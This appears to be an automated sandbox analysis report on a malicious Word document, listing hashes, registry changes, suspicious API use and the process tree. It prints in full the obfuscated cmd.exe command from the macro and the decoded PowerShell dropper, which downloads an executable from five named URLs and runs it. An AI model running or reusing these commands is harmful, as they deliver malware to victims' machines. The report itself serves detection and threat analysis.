9bc017958890fd2e59a44c33e3a3d39775e6657b5a329d57f5e5399023846a64

General

Target

9bc017958890fd2e59a44c33e3a3d39775e6657b5a329d57f5e5399023846a64.doc
Size

139KB
MD5

9c3c3b387ee4c6e799e78f0f469d91da
SHA1

8ad1284839d45414ef258aa1005b53886d2a942f
SHA256

9bc017958890fd2e59a44c33e3a3d39775e6657b5a329d57f5e5399023846a64
SHA512

7e1dbadc2de68b0df0a57edadf00827bd278cb9f7c1df56a258df012493c178a5e5b5cfba288ed5214642a6805ed8599a81efde914fcde07e7204b314631367d

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://www.funtelo.com/58S1xJ09

exe.dropper

http://www.shout4music.com/Kkt4CUPvX2

exe.dropper

http://advustech.com/l5EcamTDy

exe.dropper

http://www.ceeetwh.org/UZwh7EIWD6

exe.dropper

http://www.gmlsoftware.com/itTZIne5M

Signatures

Office loads VBA resources, possible macro or embedded object present

Modifies registry class 280 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE3-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents4"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3}\ = "MdcComboEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A06A9B0C-7536-4CA2-BF26-024D18566461}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{944ACF93-A1E6-11CE-8104-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{A06A9B0C-7536-4CA2-BF26-024D18566461}\2.0\HELPDIR	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{79176FB2-B7F2-11CE-97EF-00AA006D2776}\ = "SpinbuttonEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074}\ = "IReturnInteger"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D123-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLSelect"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{A06A9B0C-7536-4CA2-BF26-024D18566461}\2.0\0	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{EC72F590-F375-11CE-B9E8-00AA006B1A69}\ = "IDataAutoWrapper"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{47FF8FE4-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents5"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{A06A9B0C-7536-4CA2-BF26-024D18566461}\2.0	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{A06A9B0C-7536-4CA2-BF26-024D18566461}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}\ = "ILabelControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{5512D115-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLReset"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\TypeLib\{A06A9B0C-7536-4CA2-BF26-024D18566461}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Wow6432Node\Interface\{8BD21D43-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCheckBox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1848298919-2336104428-4012071465-1000_CLASSES\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1832 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1832 WINWORD.EXE
1832 WINWORD.EXE

pid	process
1832	WINWORD.EXE

pid	process
1832	WINWORD.EXE
1832	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 1832 wrote to memory of 1904	1832	WINWORD.EXE	cmd.exe
PID 1832 wrote to memory of 1904	1832	WINWORD.EXE	cmd.exe
PID 1832 wrote to memory of 1904	1832	WINWORD.EXE	cmd.exe
PID 1904 wrote to memory of 1928	1904	cmd.exe	cmd.exe
PID 1904 wrote to memory of 1928	1904	cmd.exe	cmd.exe
PID 1904 wrote to memory of 1928	1904	cmd.exe	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1936 powershell.exe
1936 powershell.exe

pid	process
1936	powershell.exe
1936	powershell.exe

Blacklisted process makes network request 7 IoCs

Processes:

powershell.exe

flow	pid	process
5	1936	powershell.exe
7	1936	powershell.exe
8	1936	powershell.exe
9	1936	powershell.exe
11	1936	powershell.exe
13	1936	powershell.exe
15	1936	powershell.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1904	1832	cmd.exe	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1936 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1936	powershell.exe

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\9bc017958890fd2e59a44c33e3a3d39775e6657b5a329d57f5e5399023846a64.doc"
1⤵
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1832

\??\c:\windows\system32\cmd.exe
c:\HDjzASw\dXUoDSp\rQWBhXVQZ\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 5k0=DjEYwUizYplXvvcpzfiFOfohJ\:e'ASG,K{1L}TQnm8tykgx/WNB+ ZaI6P2@5;M$d.C4()0s9r=7b-u&&for %f in (64;30;1;31;75;28;50;55;10;28;62;64;20;45;21;75;40;27;4;78;22;77;1;27;14;43;53;50;27;43;66;49;27;77;67;10;18;27;40;43;62;64;1;31;15;75;28;23;43;43;15;26;48;48;4;4;4;66;21;79;40;43;27;10;22;66;14;22;41;48;61;42;30;35;47;24;71;73;60;23;43;43;15;26;48;48;4;4;4;66;72;23;22;79;43;68;41;79;72;18;14;66;14;22;41;48;33;45;43;68;67;5;58;13;11;59;60;23;43;43;15;26;48;48;55;65;13;79;72;43;27;14;23;66;14;22;41;48;10;61;2;14;55;41;38;0;44;60;23;43;43;15;26;48;48;4;4;4;66;14;27;27;27;43;4;23;66;22;74;46;48;5;54;4;23;76;2;56;49;0;57;60;23;43;43;15;26;48;48;4;4;4;66;46;41;10;72;22;21;43;4;55;74;27;66;14;22;41;48;18;43;38;54;56;40;27;61;63;28;66;30;15;10;18;43;69;28;60;28;70;62;64;19;4;79;75;28;8;8;18;28;62;64;58;72;36;53;75;53;28;73;76;61;28;62;64;38;39;72;75;28;51;18;30;28;62;64;29;38;19;75;64;27;40;13;26;43;27;41;15;52;28;25;28;52;64;58;72;36;52;28;66;27;47;27;28;62;21;22;74;27;55;14;23;69;64;13;56;14;53;18;40;53;64;1;31;15;70;34;43;74;44;34;64;20;45;21;66;0;22;4;40;10;22;55;65;19;18;10;27;69;64;13;56;14;32;53;64;29;38;19;70;62;64;11;4;11;75;28;41;41;20;28;62;56;21;53;69;69;31;27;43;78;56;43;27;41;53;64;29;38;19;70;66;10;27;40;46;43;23;53;78;46;27;53;42;71;71;71;71;70;53;34;56;40;13;22;45;27;78;56;43;27;41;53;64;29;38;19;62;64;1;36;18;75;28;29;49;56;28;62;77;74;27;55;45;62;37;37;14;55;43;14;23;34;37;37;64;16;4;16;75;28;19;55;14;28;62;86)do set ZH=!ZH!!5k0:~%f,1!&&if %f==86 powershell "!ZH:~-458!""
2⤵
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
PID:1904

C:\Windows\system32\cmd.exe
CmD /V/C"set 5k0=DjEYwUizYplXvvcpzfiFOfohJ\:e'ASG,K{1L}TQnm8tykgx/WNB+ ZaI6P2@5;M$d.C4()0s9r=7b-u&&for %f in (64;30;1;31;75;28;50;55;10;28;62;64;20;45;21;75;40;27;4;78;22;77;1;27;14;43;53;50;27;43;66;49;27;77;67;10;18;27;40;43;62;64;1;31;15;75;28;23;43;43;15;26;48;48;4;4;4;66;21;79;40;43;27;10;22;66;14;22;41;48;61;42;30;35;47;24;71;73;60;23;43;43;15;26;48;48;4;4;4;66;72;23;22;79;43;68;41;79;72;18;14;66;14;22;41;48;33;45;43;68;67;5;58;13;11;59;60;23;43;43;15;26;48;48;55;65;13;79;72;43;27;14;23;66;14;22;41;48;10;61;2;14;55;41;38;0;44;60;23;43;43;15;26;48;48;4;4;4;66;14;27;27;27;43;4;23;66;22;74;46;48;5;54;4;23;76;2;56;49;0;57;60;23;43;43;15;26;48;48;4;4;4;66;46;41;10;72;22;21;43;4;55;74;27;66;14;22;41;48;18;43;38;54;56;40;27;61;63;28;66;30;15;10;18;43;69;28;60;28;70;62;64;19;4;79;75;28;8;8;18;28;62;64;58;72;36;53;75;53;28;73;76;61;28;62;64;38;39;72;75;28;51;18;30;28;62;64;29;38;19;75;64;27;40;13;26;43;27;41;15;52;28;25;28;52;64;58;72;36;52;28;66;27;47;27;28;62;21;22;74;27;55;14;23;69;64;13;56;14;53;18;40;53;64;1;31;15;70;34;43;74;44;34;64;20;45;21;66;0;22;4;40;10;22;55;65;19;18;10;27;69;64;13;56;14;32;53;64;29;38;19;70;62;64;11;4;11;75;28;41;41;20;28;62;56;21;53;69;69;31;27;43;78;56;43;27;41;53;64;29;38;19;70;66;10;27;40;46;43;23;53;78;46;27;53;42;71;71;71;71;70;53;34;56;40;13;22;45;27;78;56;43;27;41;53;64;29;38;19;62;64;1;36;18;75;28;29;49;56;28;62;77;74;27;55;45;62;37;37;14;55;43;14;23;34;37;37;64;16;4;16;75;28;19;55;14;28;62;86)do set ZH=!ZH!!5k0:~%f,1!&&if %f==86 powershell "!ZH:~-458!""
3⤵
PID:1928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell "$SjG='Nal';$Okf=new-object Net.WebClient;$jGp='http://www.funtelo.com/58S1xJ09@http://www.shout4music.com/Kkt4CUPvX2@http://advustech.com/l5EcamTDy@http://www.ceeetwh.org/UZwh7EIWD6@http://www.gmlsoftware.com/itTZIne5M'.Split('@');$Fwu='YYi';$PsL = '975';$TQs='BiS';$ATF=$env:temp+'\'+$PsL+'.exe';foreach($vIc in $jGp){try{$Okf.DownloadFile($vIc, $ATF);$XwX='mmO';If ((Get-Item $ATF).length -ge 80000) {Invoke-Item $ATF;$jLi='AWI';break;}}catch{}}$zwz='Fac';"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
PID:1936

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads